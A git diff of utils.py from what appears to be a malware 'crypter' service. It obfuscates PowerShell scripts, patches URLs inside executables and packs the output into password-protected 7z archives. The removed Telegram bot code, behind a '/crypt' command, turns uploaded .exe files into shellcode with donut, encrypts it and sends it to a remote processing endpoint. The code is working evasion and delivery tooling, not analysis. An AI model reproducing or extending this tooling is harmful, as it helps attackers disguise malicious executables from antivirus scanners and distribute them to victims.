Update utils.py

utils.py

@@ -3,15 +3,12 @@ import subprocess
 import random
 import string
 from datetime import datetime
-from flask import Flask, request, jsonify, send_file, current_app
+from flask import jsonify, send_file, current_app
 import shutil
 import tempfile
 import requests
 import json
-from telegram import Update
-from telegram.ext import ContextTypes, ConversationHandler
-
-app = Flask(__name__)
+import secrets
 
 BASE_DIR = os.path.abspath(os.path.dirname(__file__))
 UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
@@ -22,14 +19,9 @@ OBFUSCATOR_SCRIPT = os.path.join(BASE_DIR, "Obfus", "main.ps1")
 UPLOAD_URL = 'https://ambelo-benjamin.hf.space/upload'
 POWERSHELL_FILE_PATH = os.path.join(PE_FOLDER, "powershell.ps1")
 
-app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
-
 def generate_random_string(length=8):
     return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
-def generate_random_password(length=12):
-    return ''.join(random.choices(string.ascii_letters + string.punctuation, k=length))
-
 def obfuscate_powershell_script(ps1_path):
     try:
         cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
@@ -196,7 +188,28 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
     except Exception as e:
         raise Exception(f"An error occurred: {e}")
 
-@app.route('/process', methods=['POST'])
+# Function to generate a random password
+def generate_random_password(length=12):
+    # Use a combination of letters, digits, and special characters
+    characters = string.ascii_letters + string.digits + "!@#$%^&*"
+    return ''.join(secrets.choice(characters) for _ in range(length))
+
+# Function to create an encrypted 7z archive
+def create_encrypted_7z_archive(file_path, password):
+    archive_name = generate_random_string() + ".7z"
+    archive_path = os.path.join(os.path.dirname(file_path), archive_name)
+    
+    # Use 7z command to create an encrypted archive
+    try:
+        subprocess.run([
+            "7z", "a", "-t7z", "-mx=9", "-m0=LZMA2", f"-p{password}", archive_path, file_path
+        ], check=True)
+    except subprocess.CalledProcessError as e:
+        raise Exception(f"Failed to create encrypted 7z archive: {e}")
+    
+    return archive_path
+
+# Function to process the request
 def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
     try:
@@ -261,17 +274,17 @@ def process_request(request):
             new_string=os.path.basename(download_url)
         )
 
-        # Create a .7z archive with ultra compression and LZMA2, and encrypt it with a password
-        archive_name = generate_random_string() + ".7z"
-        archive_path = os.path.join(temp_dir, archive_name)
+        # Generate a random password
         password = generate_random_password()
-        subprocess.run([
-            "7z", "a", "-t7z", "-p" + password, "-mx=9", "-m0=LZMA2", archive_path, modified_pe_path
-        ], check=True)
 
-        # Return the download URL and password in the JSON response
-        download_link = f"/download/{archive_name}"
-        return jsonify({"download_link": download_link, "password": password})
+        # Create an encrypted 7z archive
+        archive_path = create_encrypted_7z_archive(modified_pe_path, password)
+
+        # Return the encrypted archive and the password
+        return jsonify({
+            "archive_path": archive_path,
+            "password": password
+        })
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")
@@ -279,100 +292,4 @@ def process_request(request):
     finally:
         # Clean up temporary directories and files
         if temp_dir and os.path.exists(temp_dir):
-            shutil.rmtree(temp_dir, ignore_errors=True)
-
-@app.route('/download/<filename>')
-def download_file(filename):
-    file_path = os.path.join(UPLOAD_FOLDER, filename)
-    return send_file(file_path, as_attachment=True)
-
-async def confirm_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> int:
-    """Handle file confirmation"""
-    query = update.callback_query
-    await query.answer()
-
-    file_path = context.user_data.get('file_path')
-
-    if query.data == "yes":
-        output_file = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) + f"_{query.message.chat.id}.bin"
-        output_path = os.path.join("converted", output_file)
-        try:
-            # Convert the .exe file to a .bin file
-            shellcode = donut.create(file=file_path, output=output_path)
-            
-            # Encrypt the .bin file
-            encrypted_file_path = encrypt_bin_file(output_path)
-            
-            # Show animated text while processing
-            await query.edit_message_text(
-                "🔄 Processing your file...\n"
-                "🟩🟩🟩⬛⬛⬛⬛⬛⬛⬛ (30%)"
-            )
-
-            # Send the encrypted .bin file to the API
-            with open(encrypted_file_path, 'rb') as bin_file:
-                response = requests.post('https://sigyllly-demo-docker-gradio.hf.space/process', files={'file': bin_file}, timeout=120)
-            
-            if response.status_code == 200:
-                # Parse the response to get the .7z file URL and password
-                response_data = response.json()
-                archive_url = response_data.get("download_link")
-                password = response_data.get("password")
-
-                if not archive_url or not password:
-                    await query.edit_message_text("❌ Invalid response from the server. Missing archive URL or password.")
-                    context.user_data['processing'] = False
-                    return ConversationHandler.END
-
-                # Download the .7z file from the archive_url
-                archive_response = requests.get(archive_url)
-                if archive_response.status_code != 200:
-                    await query.edit_message_text("❌ Failed to download the .7z file from the server.")
-                    context.user_data['processing'] = False
-                    return ConversationHandler.END
-
-                # Save the .7z file locally
-                archive_filename = f"processed_{random.randint(1000, 9999)}.7z"
-                archive_filepath = os.path.join("converted", archive_filename)
-                with open(archive_filepath, 'wb') as archive_file:
-                    archive_file.write(archive_response.content)
-
-                await query.edit_message_text(
-                    "🔄 Processing your file...\n"
-                    "🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩 (100%)"
-                )
-
-                # Send the .7z file and password to the user
-                await query.message.reply_document(
-                    document=open(archive_filepath, 'rb'),
-                    filename=archive_filename,
-                    caption=f"✅ File processed successfully! Here is your encrypted file.\n\n🔑 Password: `{password}`"
-                )
-
-                # Clean up the downloaded .7z file
-                os.remove(archive_filepath)
-
-                # Mark process as finished
-                context.user_data['processing'] = False
-                return ConversationHandler.END
-            else:
-                await query.edit_message_text("❌ Error occurred while processing the file.")
-                context.user_data['processing'] = False
-                return ConversationHandler.END
-
-        except Exception as e:
-            print(f"Error in confirm_file: {e}")
-            await query.edit_message_text(text=f"❌ Error occurred: {e}")
-            context.user_data['processing'] = False
-            if os.path.exists(file_path):
-                os.remove(file_path)
-            return ConversationHandler.END
-    else:
-        await query.edit_message_text("❌ Operation cancelled. Use /crypt to try again.")
-        context.user_data['processing'] = False
-        if os.path.exists(file_path):
-            os.remove(file_path)
-        return ConversationHandler.END
-
-if __name__ == '__main__':
-    app.run(debug=True)
+            shutil.rmtree(temp_dir, ignore_errors=True)